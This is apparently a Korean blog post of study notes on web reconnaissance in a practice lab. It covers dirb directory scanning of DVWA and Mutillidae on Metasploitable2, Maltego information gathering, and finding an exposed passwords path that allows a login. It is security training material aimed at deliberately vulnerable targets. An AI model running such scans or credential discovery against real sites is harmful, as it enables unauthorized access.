http://asptest.vulnweb.com/  //공격해도 무방. 연습할때 사용

http://esptest.vulnweb.com/  //공격해도 무방. 연습할때 사용





[maltego] //정보수집 툴




//아이디 생성


//완료





실행완료




아래와 같이 그 사이트에 대한 정보들을 수집할 수 있다.



[dirb 웹 스캐닝]

[metasploitable2 정보수집]


//원할한 수집을 위해 보안을 low로 설정

metasploitable db생성


cd /var/www/mutillidae


vi config.inc  //root권한으로 열어야한다.

dbaname을 owasp10으로 수정


/etc/init.d/apache2 restart //데몬 재실행





dirb 스캐닝


dirb http://meta/dvwa  //스캐닝(운영중인 사이트에하면 위험)


아래 경로를 참조하여 스캐닝을한다. 원하는값이 없으면 여기에 추가.



//웹사이트 스캐닝


//아래와 같이 내용을 확인할 수 있다.



dirb http://meta/mutillidae


robots의 안에 내용


meta/mutillidae/robots/passwords //이런식으로 스캐닝이된다.

위의 값을 통해 로그인 //로그인이 아주 잘된다.







[임시 이메일 만들기]

https://mytemp.email/ 








'Web Security' 카테고리의 다른 글

RFI(Remote File Inclusion)  (0) 2019.03.27
LFI(Local File Inclusion)  (0) 2019.03.26
http  (0) 2019.03.25
bee-box설치  (0) 2019.03.21
서버연동해보기  (0) 2019.03.20

+ Recent posts